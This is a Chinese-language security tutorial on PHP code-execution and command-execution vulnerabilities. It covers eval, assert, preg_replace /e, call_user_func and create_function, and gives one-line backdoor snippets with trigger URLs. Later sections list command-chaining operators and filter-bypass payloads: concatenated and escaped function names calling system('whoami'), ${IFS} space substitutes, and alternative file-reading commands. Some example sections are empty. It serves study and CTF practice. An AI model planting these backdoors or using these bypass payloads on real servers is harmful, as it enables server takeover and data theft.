目录
扫描二维码关注公众号,回复:
15373049 查看本文章
一、代码执行基本概念
1.1 概述
代码执行顾名思义就是将用户输入的内容作为脚本代码进行执行的一类漏洞,此类漏洞影响很大,在权限较大的情况下可以直接接管服务器。
1.2 原理
当应用在调用一些能将字符串转化成代码的函数(如php中的eval、assert)时,没有考虑到用户是否能控制这个字符串,将会造成代码执行。如php的eval函数,可以将字符串代表的代码作为php代码执行,当前用户能够控制这段字符串时,将产生代码执行漏洞。
这类漏洞很难通过黑盒查找,大部分都是根据源代码判断代码执行漏洞。
二、命令执行基本概念
当web应用需要调用一些执行系统命令的函数时,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
三、PHP代码执行
3.1 eval()
eval()属于结构体,不属于函数,所以在构造回调函数的后门时,eval()无法作为执行代码的函数使用,可用assert()替代。
3.1.1 使用方法
<?php eval($_GET['x']); ?>
3.1.2 访问
xx.php?x=phpinfo();
3.1.3 例题
3.2 assert()
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
3.2.1 使用方法
<?php assert($_GET['x']); ?>
3.2.2 访问
xx.php?x=phpinfo();
3.2.3 例题
3.3 preg_replace()
执行一个正则表达式的搜索和替换。当使用正则匹配的时候,如果使用了弃用的/e模式,将会造成代码执行漏洞。/e修正符使preg_replace将replacement 参数当做 PHP 代码。
注:需要匹配成功,才能执行。
3.3.1 使用方法
<?php preg_replace("/moon/e",$_GET['a'],"I love moon"); ?>
3.3.2 访问
codeexec.php?a=phpinfo();
3.3.3 例题
3.4 call_user_func()
mixed call_user_func(callable $callback[,mixed $parameter[,mixed$...]])
第一个参数callback是被调用的回调函数,其余参数是回调函数的参数。传入call_user_func()的参数不能为引用传递。
3.4.1 使用方法
<?php call_user_func($_GET['a'], $_GET['b']); ?>
3.4.2 访问
codeexec.php?a=assert&b=phpinfo();
3.4.3 例题
3.5 call_user_func_array()
mixed call_user_func_array(callable $callback,array $param_arr)
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的参数传入。
3.5.1 使用方法
<?php call_user_func_array($_GET['a'], $_GET['b']); ?>
3.5.2 访问
codeexec.php?a=assert&b=phpinfo();
3.5.3 例题
3.6 create_function()
string create_function(string $args,string $code)
该函数的内部实现用到了eval,所以也具有相同的安全问题。第一个参数args是后面定义函数的参数,第二个参数是函数的代码。
3.6.1 使用方法
• <?php
• $a = $_GET['a'];
• $b = create_function('$a',"echo $a");
• $b('');
• ?>
3.6.2 访问
codeexec.php?a=eval($_GET['b']);&b=echo '1';
3.6.3 例题
四、PHP命令执行
4.1 相关函数
system('ls') //执行外部程序,并且显示输出
echo exec('ls') //执行一个外部程序
passthru('ls') //执行外部程序并且显示原始输出
echo shell_exec('ls') //通过 shell 环境执行命令,并且将完整的输出以字符串的
方式返回
4.2 常用技巧
& //表示任务在后台执行
&& //表示前一条命令执行成功时,才执行后一条命令
| //表示管道,上一条命令的输出,作为下一条命令参数
|| //表示上一条命令执行失败后,才执行下一条命令
; //间隔符,执行完前一个,再执行后一个
五、PHP命令执行过滤限制的绕过执行方法
5.1 字符串拼接绕过
适用于绕过过滤具体关键字的限制,适用PHP版本: PHP>=7。
Payload:
(p.h.p.i.n.f.o)();
(sy.(st).em)(whoami);
(sy.(st).em)(who.ami);
(s.y.s.t.e.m)("whoami");
5.2 字符串转义绕过
适用于绕过过滤具体关键字的限制 ,适用PHP版本: PHP>=7。
Payload:
"\x70\x68\x70\x69\x6e\x66\x6f"(); #phpinfo();
"\163\171\163\164\145\155" ('whoami'); #system('whoami');
"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('id'); #system('whoami');
"\163\171\163\164\145\155"("\167\150\157\141\155\151"); #system('whoami');
5.3 黑名单绕过
5.3.1 过滤空格
• ${IFS}
• $IFS$9
• <
• <>
• {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
• %20 (space)
• %09 (tab)
• X=$‘cat\x09./flag.php’;$X //(\x09表示tab,也可以用\x20)
5.3.2 各种命令
• more:一页一页的显示档案内容
• less:与 more 类似
• head:查看头几行
• tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
• tail:查看尾几行
• nl:显示的时候,顺便输出行号
• od:以二进制的方式读取档案内容
• sort:可以查看
• uniq:可以查看
• file -f:报错出具体内容
• grep test *file #打印文件后缀名为file且包含test的行
• curl file:// (绝对路径)